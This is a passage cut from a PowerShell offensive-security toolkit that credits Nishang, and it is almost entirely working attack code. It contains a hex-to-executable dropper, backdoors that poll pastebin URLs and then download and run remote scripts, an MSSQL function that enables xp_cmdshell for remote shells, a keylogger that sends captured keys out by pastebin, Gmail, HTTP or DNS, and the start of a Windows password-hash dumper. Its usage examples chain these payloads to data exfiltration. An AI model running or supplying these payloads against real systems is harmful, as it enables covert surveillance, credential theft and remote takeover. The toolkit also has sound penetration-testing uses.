1825 $utfbytes = [System.Text.Encoding]::Unicode.GetBytes($Str)
1826
1827 }
1828 else
1829 {
1830 $utfbytes = [System.Text.Encoding]::Unicode.GetBytes((Get-Content $Str))
1831 }
1832
1833 $base64string = [System.Convert]::ToBase64String($utfbytes)
1834 Out-File -InputObject $base64string -Encoding ascii -FilePath "$outputfile"
1835 Write-Output "Encoded data written to file $outputfile"
1836}
1837
1838
1839
1840
1841####################################Convert an executable file in hex format to executable (.exe)########################################
1842
1843function TexttoEXE
1844{
1845
1846<#
1847.SYNOPSIS
1848Function to convert a PE file in hex format to executable
1849.DESCRIPTION
1850This function converts a PE file in hex to executable and writes it to user temp.
1851.PARAMETER Filename
1852Path of the hex text file from which executable will be created.
1853.PARAMETER EXE
1854Path where the executable should be created.
1855.EXAMPLE
1856PS > TexttoExe C:\evil.text C:\exe\evil.exe
1857.LINK
1858http://www.exploit-monday.com/2011/09/dropping-executables-with-powershell.html
1859https://github.com/samratashok/nishang
1860#>
1861
1862
1863 [CmdletBinding()] Param (
1864 [Parameter(Position = 0, Mandatory = $True)]
1865 [String]
1866 $FileName,
1867
1868 [Parameter(Position = 1, Mandatory = $True)]
1869 [String]$EXE
1870 )
1871
1872 [String]$hexdump = get-content -path "$Filename"
1873 [Byte[]] $temp = $hexdump -split ' '
1874 [System.IO.File]::WriteAllBytes($EXE, $temp)
1875 Write-Output "Executable written to file $EXE"
1876}
1877
1878
1879
1880#############################################Waits till given time to execute a script.####################################################
1881function Execute-OnTime
1882{
1883
1884<#
1885.SYNOPSIS
1886Payload which waits till given time to execute a script.
1887.DESCRIPTION
1888This payload waits till the given time (on the victim) and then downloads a PowerShell script and executes it.
1889.PARAMETER PAYLOADURL
1890The URL from where the file would be downloaded.
1891.PARAMETER Arguments
1892Arguments to be passed to a script. Powerpreter and other scripts in Nishang need the function name and arguments here.
1893.PARAMETER time
1894The Time when the payload will be executed (in 24 hour format e.g. 23:21).
1895.PARAMETER CheckURL
1896The URL which the payload would check for instructions to stop.
1897.PARAMETER StopString
1898The string which if found at CheckURL will stop the payload.
1899.EXAMPLE
1900PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload
1901EXAMPLE
1902PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload | Do-Exfiltration -ExfilOption gmail -username <> -Password <>
1903Use above command for data exfiltration to gmail
1904.LINK
1905http://labofapenetrationtester.com/
1906https://github.com/samratashok/nishang
1907#>
1908
1909
1910
1911 [CmdletBinding()] Param(
1912
1913 [Parameter(Position = 0, Mandatory = $True)]
1914 [String]
1915 $PayloadURL,
1916
1917 [Parameter(Position = 1, Mandatory = $True)]
1918 [String]
1919 $Arguments = "Out-Null",
1920
1921
1922 [Parameter(Position = 2, Mandatory = $True)]
1923 [String]
1924 $time,
1925
1926 [Parameter(Position = 3, Mandatory = $True)]
1927 [String]
1928 $CheckURL,
1929
1930 [Parameter(Position = 4, Mandatory = $True)]
1931 [String]
1932 $StopString
1933
1934 )
1935
1936
1937
1938 while($true)
1939 {
1940 $exec = 0
1941 start-sleep -seconds 5
1942 $webclient = New-Object System.Net.WebClient
1943 $filecontent = $webclient.DownloadString("$CheckURL")
1944 $systime = Get-Date -UFormat %R
1945 if ($systime -match $time)
1946 {
1947 $pastevalue = Invoke-Expression $webclient.DownloadString($PayloadURL)
1948 # Check for arguments to the downloaded script.
1949 if ($Arguments -ne "Out-Null")
1950 {
1951 $pastevalue = Invoke-Expression $Arguments
1952 }
1953 $pastevalue
1954 $exec++
1955 if ($exec -eq 1)
1956 {
1957 Start-Sleep -Seconds 60
1958 }
1959 }
1960 elseif ($filecontent -eq $StopString)
1961 {
1962 break
1963 }
1964 }
1965}
1966
1967
1968
1969####################################################Execute commands remotely on a MS SQL server.##############################################
1970function Execute-Command-MSSQL
1971{
1972
1973<#
1974.SYNOPSIS
1975Payload which could be used to execute commands remotely on a MS SQL server.
1976.DESCRIPTION
1977This payload needs a valid administrator username and password on remote SQL server.
1978It uses the credentials to enable xp_cmdshell and provides a powershell shell, a sql shell
1979or a cmd shell on the target.
1980.PARAMETER ComputerName
1981Enter CopmuterName or IP Address of the target SQL server.
1982.PARAMETER UserName
1983Enter a UserName for a SQL server administrator account.
1984.PARAMETER Password
1985Enter the Password for the account.
1986.EXAMPLE
1987Execute-Command-MSSQL -ComputerName sqlserv01 -UserName sa -Password sa1234
1988.EXAMPLE
1989Execute-Command-MSSQL -ComputerName 192.168.1.10 -UserName sa -Password sa1234
1990.LINK
1991http://labofapenetrationtester.com/
1992https://github.com/samratashok/nishang
1993.NOTES
1994Based mostly on the Get-TSSqlSysLogin by Niklas Goude and accompanying blog post at
1995http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/03/use-powershell-to-security-test-sql-server-and-sharepoint.aspx
1996http://www.truesec.com
1997#>
1998
1999 [CmdletBinding()] Param(
2000 [Parameter(Mandatory = $true, Position = 0, ValueFromPipeLine= $true)]
2001 [Alias("PSComputerName","CN","MachineName","IP","IPAddress")]
2002 [string]
2003 $ComputerName,
2004
2005 [parameter(Mandatory = $true, Position = 1)]
2006 [string]
2007 $UserName,
2008
2009 [parameter(Mandatory = $true, Position = 2)]
2010 [string]
2011 $Password
2012 )
2013Try{
2014 function Make-Connection ($query){
2015
2016 $Connection = New-Object System.Data.SQLClient.SQLConnection
2017 $Connection.ConnectionString = "Data Source=$ComputerName;Initial Catalog=Master;User Id=$userName;Password=$password;"
2018 $Connection.Open()
2019 $Command = New-Object System.Data.SQLClient.SQLCommand
2020 $Command.Connection = $Connection
2021 $Command.CommandText = $query
2022 $Reader = $Command.ExecuteReader()
2023 $Connection.Close()
2024
2025 }
2026
2027 "Connecting to $ComputerName..."
2028 start-sleep 3
2029 Make-Connection "EXEC sp_configure 'show advanced options',1; RECONFIGURE;"
2030 "`nEnabling XP_CMDSHELL...`n"
2031 start-sleep 3
2032 Make-Connection "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE"
2033 write-host -NoNewline "Do you want a PowerShell shell (P) or a SQL Shell (S) or a cmd shell (C): "
2034 $shell = read-host
2035 while($payload -ne "exit")
2036 {
2037 $Connection = New-Object System.Data.SQLClient.SQLConnection
2038 $Connection.ConnectionString = "Data Source=$ComputerName;Initial Catalog=Master;User Id=$userName;Password=$password;"
2039 $Connection.Open()
2040 $Command = New-Object System.Data.SQLClient.SQLCommand
2041 $Command.Connection = $Connection
2042 if ($shell -eq "P")
2043 {
2044 write-host "`n`nStarting PowerShell on the target..`n"
2045 write-host -NoNewline "PS $ComputerName> "
2046 $payload = read-host
2047 $cmd = "EXEC xp_cmdshell 'powershell.exe -Command `"& {$payload}`"'"
2048 }
2049 elseif ($shell -eq "S")
2050 {
2051 write-host "`n`nStarting SQL shell on the target..`n"
2052 write-host -NoNewline "MSSQL $ComputerName> "
2053 $payload = read-host
2054 $cmd = $payload
2055 }
2056 elseif ($shell -eq "C")
2057 {
2058 write-host "`n`nStarting cmd shell on the target..`n"
2059 write-host -NoNewline "CMD $ComputerName> "
2060 $payload = read-host
2061 $cmd = "EXEC xp_cmdshell 'cmd.exe /K $payload'"
2062 }
2063
2064
2065 $Command.CommandText = "$cmd"
2066 $Reader = $Command.ExecuteReader()
2067 while ($reader.Read()) {
2068 New-Object PSObject -Property @{
2069 Name = $reader.GetValue(0)
2070 }
2071 }
2072 $Connection.Close()
2073 }
2074 }
2075 Catch {
2076 $error[0]
2077 }
2078}
2079
2080
2081function HTTP-Backdoor
2082{
2083
2084<#
2085.SYNOPSIS
2086Payload which queries a URL for instructions and then downloads and executes a powershell script.
2087.DESCRIPTION
2088This payload queries the given URL and after a suitable command (given by MagicString variable) is found,
2089it downloads and executes a powershell script. The payload could be stopped remotely if the string at CheckURL matches
2090the string given in StopString variable.
2091.PARAMETER CheckURL
2092The URL which the payload would query for instructions.
2093.PARAMETER PayloadURL
2094The URL from where the powershell script would be downloaded.
2095.PARAMETER Arguments
2096Arguments to be passed to a script. Powerpreter and other scripts in Nishang need the function name and arguments here.
2097.PARAMETER MagicString
2098The string which would act as an instruction to the payload to proceed with download and execute.
2099.PARAMETER StopString
2100The string which if found at CheckURL will stop the payload.
2101.Example
2102PS > HTTP-Backdoor
2103The payload will ask for all required options.
2104.EXAMPLE
2105PS > HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthis
2106Use above when using the payload from non-interactive shells.
2107.EXAMPLE
2108PS > HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthis | Do-Exfiltration -ExfilOption DNS -DomainName example.com -AuthNS 192.168.254.228
2109Use above command for data exfiltration to a DNS server which logs TXT queries.
2110.LINK
2111http://labofapenetrationtester.com/
2112https://github.com/samratashok/nishang
2113#>
2114
2115
2116 [CmdletBinding()] Param(
2117
2118 [Parameter(Position = 0, Mandatory = $True)]
2119 [String]
2120 $CheckURL,
2121
2122 [Parameter(Position = 1, Mandatory = $True)]
2123 [String]
2124 $PayloadURL,
2125
2126 [Parameter(Position = 2, Mandatory = $False)]
2127 [String]
2128 $Arguments = "Out-Null",
2129
2130 [Parameter(Position = 3, Mandatory = $True)]
2131 [String]
2132 $MagicString,
2133
2134 [Parameter(Position = 4, Mandatory = $True)]
2135 [String]
2136 $StopString
2137 )
2138
2139 while($true)
2140 {
2141 $exec = 0
2142 start-sleep -seconds 5
2143 $webclient = New-Object System.Net.WebClient
2144 $filecontent = $webclient.DownloadString("$CheckURL")
2145 if($filecontent -eq $MagicString)
2146 {
2147 $pastevalue = Invoke-Expression $webclient.DownloadString($PayloadURL)
2148 # Check for arguments to the downloaded script.
2149 if ($Arguments -ne "Out-Null")
2150 {
2151 $pastevalue = Invoke-Expression $Arguments
2152 }
2153 $pastevalue
2154 $exec++
2155 if ($exec -eq 1)
2156 {
2157 Start-Sleep -Seconds 60
2158 }
2159 }
2160 elseif ($filecontent -eq $StopString)
2161 {
2162 break
2163 }
2164 }
2165
2166}
2167
2168#############################################Logs the keys in the context of current user.#################################################
2169function Keylogger
2170{
2171
2172<#
2173.SYNOPSIS
2174Payload which logs keys.
2175.DESCRIPTION
2176This payload logs a user's keys and writes them to file key.log (I know its bad :|) in user's temp directory.
2177Saved keys could then be decoded using the Parse_Key script.
2178.PARAMETER CheckURL
2179The URL which would contain the MagicString used to stop keylogging.
2180.PARAMETER MagicString
2181The string which when found at CheckURL will stop the keylogger.
2182.EXAMPLE
2183PS > Keylogger
2184The payload will ask for all required options.
2185.EXAMPLE
2186PS > Keylogger http://example.com stopthis
2187Use above when using the payload from non-interactive shells or you don't want the payload to ask for any options.
2188.EXAMPLE
2189PS > Keylogger http://example.com stopthis -exfil <dev_key> <username> <pass> 2
2190Use above when using the payload from non-interactive shells. This will exfiltrate keys to gmail.
2191.LINK
2192http://labofapenetrationtester.com/
2193https://github.com/samratashok/nishang
2194#>
2195
2196 [CmdletBinding(DefaultParameterSetName="noexfil")] Param(
2197 [Parameter(Parametersetname="exfil")]
2198 [Switch]
2199 $persist,
2200
2201 [Parameter(Parametersetname="exfil")]
2202 [Switch]
2203 $exfil,
2204
2205 [Parameter(Position = 0, Mandatory = $True, Parametersetname="exfil")]
2206 [Parameter(Position = 0, Mandatory = $True, Parametersetname="noexfil")]
2207 [String]
2208 $CheckURL,
2209
2210 [Parameter(Position = 1, Mandatory = $True, Parametersetname="exfil")]
2211 [Parameter(Position = 1, Mandatory = $True, Parametersetname="noexfil")]
2212 [String]
2213 $MagicString,
2214
2215 [Parameter(Position = 2, Mandatory = $False, Parametersetname="exfil")] [ValidateSet("gmail","pastebin","WebServer","DNS")]
2216 [String]
2217 $ExfilOption,
2218
2219 [Parameter(Position = 3, Mandatory = $False, Parametersetname="exfil")]
2220 [String]
2221 $dev_key = "null",
2222
2223 [Parameter(Position = 4, Mandatory = $False, Parametersetname="exfil")]
2224 [String]
2225 $username = "null",
2226
2227 [Parameter(Position = 5, Mandatory = $False, Parametersetname="exfil")]
2228 [String]
2229 $password = "null",
2230
2231 [Parameter(Position = 6, Mandatory = $False, Parametersetname="exfil")]
2232 [String]
2233 $URL = "null",
2234
2235 [Parameter(Position = 7, Mandatory = $False, Parametersetname="exfil")]
2236 [String]
2237 $DomainName = "null",
2238
2239 [Parameter(Position = 8, Mandatory = $False, Parametersetname="exfil")]
2240 [String]
2241 $AuthNS = "null"
2242
2243 )
2244
2245$functions = {
2246
2247function Keylog
2248{
2249 Param (
2250 [Parameter(Position = 0, Mandatory = $True)]
2251 [String]
2252 $MagicString,
2253
2254 [Parameter(Position = 1, Mandatory = $True)]
2255 [String]
2256 $CheckURL
2257 )
2258
2259 $signature = @"
2260 [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
2261 public static extern short GetAsyncKeyState(int virtualKeyCode);
2262"@
2263 $getKeyState = Add-Type -memberDefinition $signature -name "Newtype" -namespace newnamespace -passThru
2264 $check = 0
2265 while ($true)
2266 {
2267 Start-Sleep -Milliseconds 40
2268 $logged = ""
2269 $result=""
2270 $shift_state=""
2271 $caps_state=""
2272 for ($char=1;$char -le 254;$char++)
2273 {
2274 $vkey = $char
2275 $logged = $getKeyState::GetAsyncKeyState($vkey)
2276 if ($logged -eq -32767)
2277 {
2278 if(($vkey -ge 48) -and ($vkey -le 57))
2279 {
2280 $left_shift_state = $getKeyState::GetAsyncKeyState(160)
2281 $right_shift_state = $getKeyState::GetAsyncKeyState(161)
2282 if(($left_shift_state -eq -32768) -or ($right_shift_state -eq -32768))
2283 {
2284 $result = "S-" + $vkey
2285 }
2286 else
2287 {
2288 $result = $vkey
2289 }
2290 }
2291 elseif(($vkey -ge 64) -and ($vkey -le 90))
2292 {
2293 $left_shift_state = $getKeyState::GetAsyncKeyState(160)
2294 $right_shift_state = $getKeyState::GetAsyncKeyState(161)
2295 $caps_state = [console]::CapsLock
2296 if(!(($left_shift_state -eq -32768) -or ($right_shift_state -eq -32768)) -xor $caps_state)
2297 {
2298 $result = "S-" + $vkey
2299 }
2300 else
2301 {
2302 $result = $vkey
2303 }
2304 }
2305 elseif((($vkey -ge 186) -and ($vkey -le 192)) -or (($vkey -ge 219) -and ($vkey -le 222)))
2306 {
2307 $left_shift_state = $getKeyState::GetAsyncKeyState(160)
2308 $right_shift_state = $getKeyState::GetAsyncKeyState(161)
2309 if(($left_shift_state -eq -32768) -or ($right_shift_state -eq -32768))
2310 {
2311 $result = "S-" + $vkey
2312 }
2313 else
2314 {
2315 $result = $vkey
2316 }
2317 }
2318 else
2319 {
2320 $result = $vkey
2321 }
2322 $now = Get-Date;
2323 $logLine = "$result "
2324 $filename = "$env:temp\key.log"
2325 Out-File -FilePath $fileName -Append -InputObject "$logLine"
2326
2327 }
2328 }
2329 $check++
2330 if ($check -eq 6000)
2331 {
2332 $webclient = New-Object System.Net.WebClient
2333 $filecontent = $webclient.DownloadString("$CheckURL")
2334 if ($filecontent -eq $MagicString)
2335 {
2336 break
2337 }
2338 $check = 0
2339 }
2340 }
2341}
2342
2343
2344 function Keypaste
2345 {
2346 Param (
2347 [Parameter(Position = 0, Mandatory = $True)]
2348 [String]
2349 $ExfilOption,
2350
2351 [Parameter(Position = 1, Mandatory = $True)]
2352 [String]
2353 $dev_key,
2354
2355 [Parameter(Position = 2, Mandatory = $True)]
2356 [String]
2357 $username,
2358
2359 [Parameter(Position = 3, Mandatory = $True)]
2360 [String]
2361 $password,
2362
2363 [Parameter(Position = 4, Mandatory = $True)]
2364 [String]
2365 $URL,
2366
2367 [Parameter(Position = 5, Mandatory = $True)]
2368 [String]
2369 $AuthNS,
2370
2371 [Parameter(Position = 6, Mandatory = $True)]
2372 [String]
2373 $MagicString,
2374
2375 [Parameter(Position = 7, Mandatory = $True)]
2376 [String]
2377 $CheckURL
2378 )
2379
2380 $check = 0
2381 while($true)
2382 {
2383 $read = 0
2384 Start-Sleep -Seconds 5
2385 $pastevalue=Get-Content $env:temp\key.log
2386 $read++
2387 if ($read -eq 30)
2388 {
2389 Out-File -FilePath $env:temp\key.log -Force -InputObject " "
2390 $read = 0
2391 }
2392 $now = Get-Date;
2393 $name = $env:COMPUTERNAME
2394 $paste_name = $name + " : " + $now.ToUniversalTime().ToString("dd/MM/yyyy HH:mm:ss:fff")
2395 function post_http($url,$parameters)
2396 {
2397 $http_request = New-Object -ComObject Msxml2.XMLHTTP
2398 $http_request.open("POST", $url, $false)
2399 $http_request.setRequestHeader("Content-type","application/x-www-form-urlencoded")
2400 $http_request.setRequestHeader("Content-length", $parameters.length);
2401 $http_request.setRequestHeader("Connection", "close")
2402 $http_request.send($parameters)
2403 $script:session_key=$http_request.responseText
2404 }
2405
2406 function Compress-Encode
2407 {
2408 #Compression logic from http://blog.karstein-consulting.com/2010/10/19/how-to-embedd-compressed-scripts-in-other-powershell-scripts/
2409 $encdata = [string]::Join("`n", $pastevalue)
2410 $ms = New-Object System.IO.MemoryStream
2411 $cs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Compress)
2412 $sw = New-Object System.IO.StreamWriter($cs)
2413 $sw.Write($encdata)
2414 $sw.Close();
2415 $Compressed = [Convert]::ToBase64String($ms.ToArray())
2416 $Compressed
2417 }
2418
2419 if ($exfiloption -eq "pastebin")
2420 {
2421 $utfbytes = [System.Text.Encoding]::UTF8.GetBytes($Data)
2422 $pastevalue = [System.Convert]::ToBase64String($utfbytes)
2423 post_http "https://pastebin.com/api/api_login.php" "api_dev_key=$dev_key&api_user_name=$username&api_user_password=$password"
2424 post_http "https://pastebin.com/api/api_post.php" "api_user_key=$session_key&api_option=paste&api_dev_key=$dev_key&api_paste_name=$pastename&api_paste_code=$pastevalue&api_paste_private=2"
2425 }
2426
2427 elseif ($exfiloption -eq "gmail")
2428 {
2429 #http://stackoverflow.com/questions/1252335/send-mail-via-gmail-with-powershell-v2s-send-mailmessage
2430 $smtpserver = "smtp.gmail.com"
2431 $msg = new-object Net.Mail.MailMessage
2432 $smtp = new-object Net.Mail.SmtpClient($smtpServer )
2433 $smtp.EnableSsl = $True
2434 $smtp.Credentials = New-Object System.Net.NetworkCredential("$username", "$password");
2435 $msg.From = "$username@gmail.com"
2436 $msg.To.Add("$username@gmail.com")
2437 $msg.Subject = $pastename
2438 $msg.Body = $pastevalue
2439 if ($filename)
2440 {
2441 $att = new-object Net.Mail.Attachment($filename)
2442 $msg.Attachments.Add($att)
2443 }
2444 $smtp.Send($msg)
2445 }
2446
2447 elseif ($exfiloption -eq "webserver")
2448 {
2449 $Data = Compress-Encode
2450 post_http $URL $Data
2451 }
2452 elseif ($ExfilOption -eq "DNS")
2453 {
2454 $code = Compress-Encode
2455 $lengthofsubstr = 0
2456 $queries = [int]($code.Length/63)
2457 while ($queries -ne 0)
2458 {
2459 $querystring = $code.Substring($lengthofsubstr,63)
2460 Invoke-Expression "nslookup -querytype=txt $querystring.$DomaName $AuthNS"
2461 $lengthofsubstr += 63
2462 $queries -= 1
2463 }
2464 $mod = $code.Length%63
2465 $query = $code.Substring($code.Length - $mod, $mod)
2466 Invoke-Expression "nslookup -querytype=txt $query.$DomainName $AuthNS"
2467
2468 }
2469
2470 $check++
2471 if ($check -eq 6000)
2472 {
2473 $check = 0
2474 $webclient = New-Object System.Net.WebClient
2475 $filecontent = $webclient.DownloadString("$CheckURL")
2476 if ($filecontent -eq $MagicString)
2477 {
2478 break
2479 }
2480 }
2481 }
2482 }
2483}
2484
2485 if ($exfil -eq $True)
2486 {
2487 start-job -InitializationScript $functions -scriptblock {Keypaste $args[0] $args[1] $args[2] $args[3] $args[4] $args[5] $args[6] $args[7]} -ArgumentList @($ExfilOption,$dev_key,$username,$password,$URL,$AuthNS,$MagicString,$CheckURL)
2488 start-job -InitializationScript $functions -scriptblock {Keylog $args[0] $args[1]} -ArgumentList @($MagicString,$CheckURL)
2489 }
2490 else
2491 {
2492 start-job -InitializationScript $functions -scriptblock {Keylog $args[0] $args[1]} -ArgumentList @($MagicString,$CheckURL)
2493 }
2494}
2495
2496
2497##########################################################Dump windows password hashes######################################
2498###Thanks David Kennedy###
2499###powerdump.rb from msf
2500function Get-PassHashes {
2501<#
2502.SYNOPSIS
2503Nishang payload which dumps password hashes.
2504
2505.DESCRIPTION
2506The payload dumps password hashes using the modified powerdump script from MSF. Administrator privileges are required for this script
2507(but not SYSTEM privs as for the original powerdump)
2508.EXAMPLE
2509PS > Get-PassHashes
2510
2511.LINK
2512http://www.labofapenetrationtester.com/2013/05/poshing-hashes-part-2.html?showComment=1386725874167#c8513980725823764060
2513https://github.com/samratashok/nishang
2514#>
2515[CmdletBinding()]
2516Param ()
2517
2518
2519#######################################powerdump written by David Kennedy#########################################
2520function LoadApi
2521{
2522 $oldErrorAction = $global:ErrorActionPreference;
2523 $global:ErrorActionPreference = "SilentlyContinue";
2524 $test = [PowerDump.Native];
2525 $global:ErrorActionPreference = $oldErrorAction;
2526 if ($test)
2527 {
2528 # already loaded
2529 return;
2530 }
2531
2532$code = @'
2533using System;
2534using System.Security.Cryptography;
2535using System.Runtime.InteropServices;
2536using System.Text;
2537namespace PowerDump
2538{
2539 public class Native
2540 {
2541 [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
2542 public static extern int RegOpenKeyEx(
2543 int hKey,
2544 string subKey,
2545 int ulOptions,
2546 int samDesired,
2547 out int hkResult);
2548 [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
2549 extern public static int RegEnumKeyEx(
2550 int hkey,
2551 int index,
2552 StringBuilder lpName,
2553 ref int lpcbName,
2554 int reserved,
2555 StringBuilder lpClass,
2556 ref int lpcbClass,
2557 out long lpftLastWriteTime);
2558 [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
2559 extern public static int RegQueryInfoKey(
2560 int hkey,
2561 StringBuilder lpClass,
2562 ref int lpcbClass,
2563 int lpReserved,
2564 out int lpcSubKeys,
2565 out int lpcbMaxSubKeyLen,
2566 out int lpcbMaxClassLen,
2567 out int lpcValues,
2568 out int lpcbMaxValueNameLen,
2569 out int lpcbMaxValueLen,
2570 out int lpcbSecurityDescriptor,
2571 IntPtr lpftLastWriteTime);
2572 [DllImport("advapi32.dll", SetLastError=true)]
2573 public static extern int RegCloseKey(
2574 int hKey);
2575 }
2576 } // end namespace PowerDump
2577 public class Shift {
2578 public static int Right(int x, int count) { return x >> count; }
2579 public static uint Right(uint x, int count) { return x >> count; }
2580 public static long Right(long x, int count) { return x >> count; }
2581 public static ulong Right(ulong x, int count) { return x >> count; }
2582 public static int Left(int x, int count) { return x << count; }
2583 public static uint Left(uint x, int count) { return x << count; }
2584 public static long Left(long x, int count) { return x << count; }
2585 public static ulong Left(ulong x, int count) { return x << count; }
2586 }
2587'@
2588
2589 $provider = New-Object Microsoft.CSharp.CSharpCodeProvider
2590 $dllName = [PsObject].Assembly.Location
2591 $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
2592 $assemblies = @("System.dll", $dllName)
2593 $compilerParameters.ReferencedAssemblies.AddRange($assemblies)
2594 $compilerParameters.GenerateInMemory = $true
2595 $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
2596 if($compilerResults.Errors.Count -gt 0) {
2597 $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) }
2598 }
2599
2600}
2601
2602$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
2603$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
2604$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
2605$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
2606$odd_parity = @(
2607 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
2608 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
2609 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
2610 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
2611 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
2612 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
2613 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
2614 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
2615 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
2616 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
2617 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
2618 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
2619 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
2620 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
2621 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
2622 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
2623);
2624
2625function sid_to_key($sid)
2626{
2627 $s1 = @();
2628 $s1 += [char]($sid -band 0xFF);
2629 $s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
2630 $s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
2631 $s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
2632 $s1 += $s1[0];
2633 $s1 += $s1[1];
2634 $s1 += $s1[2];
2635 $s2 = @();
2636 $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
2637 $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
2638 return ,((str_to_key $s1),(str_to_key $s2));
2639}
2640
2641function str_to_key($s)
2642{
2643 $key = @();
2644 $key += [Shift]::Right([int]($s[0]), 1 );
2645 $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
2646 $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
2647 $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
2648 $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
2649 $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
2650 $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
2651 $key += $([int]($s[6]) -band 0x7F);
2652 0..7 | %{
2653 $key[$_] = [Shift]::Left($key[$_], 1);
2654 $key[$_] = $odd_parity[$key[$_]];
2655 }
2656 return ,$key;
2657}
2658
2659function NewRC4([byte[]]$key)
2660{
2661 return new-object Object |
2662 Add-Member NoteProperty key $key -PassThru |
2663 Add-Member NoteProperty S $null -PassThru |
2664 Add-Member ScriptMethod init {
2665 if (-not $this.S)
2666 {
2667 [byte[]]$this.S = 0..255;
2668 0..255 | % -begin{[long]$j=0;}{
2669 $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
2670 $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
2671 }
2672 }
2673 } -PassThru |
2674 Add-Member ScriptMethod "encrypt" {
2675 $data = $args[0];
2676 $this.init();
2677 $outbuf = new-object byte[] $($data.Length);
2678 $S2 = $this.S[0..$this.S.Length];
2679 0..$($data.Length-1) | % -begin{$i=0;$j=0;} {
2680 $i = ($i+1) % $S2.Length;
2681 $j = ($j + $S2[$i]) % $S2.Length;
2682 $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
2683 $a = $data[$_];
2684 $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
2685 $outbuf[$_] = ($a -bxor $b);
2686 }
2687 return ,$outbuf;
2688 } -PassThru
2689}
2690
2691function des_encrypt([byte[]]$data, [byte[]]$key)
2692{
2693 return ,(des_transform $data $key $true)
2694}
2695
2696function des_decrypt([byte[]]$data, [byte[]]$key)
2697{
2698 return ,(des_transform $data $key $false)
2699}
2700
2701function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
2702{
2703 $des = new-object Security.Cryptography.DESCryptoServiceProvider;
2704 $des.Mode = [Security.Cryptography.CipherMode]::ECB;
2705 $des.Padding = [Security.Cryptography.PaddingMode]::None;
2706 $des.Key = $key;
2707 $des.IV = $key;
2708 $transform = $null;
2709 if ($doEncrypt) {$transform = $des.CreateEncryptor();}
2710 else{$transform = $des.CreateDecryptor();}
2711 $result = $transform.TransformFinalBlock($data, 0, $data.Length);
2712 return ,$result;
2713}
2714
2715function Get-RegKeyClass([string]$key, [string]$subkey)
2716{
2717 switch ($Key) {
2718 "HKCR" { $nKey = 0x80000000} #HK Classes Root
2719 "HKCU" { $nKey = 0x80000001} #HK Current User
2720 "HKLM" { $nKey = 0x80000002} #HK Local Machine
2721 "HKU" { $nKey = 0x80000003} #HK Users
2722 "HKCC" { $nKey = 0x80000005} #HK Current Config
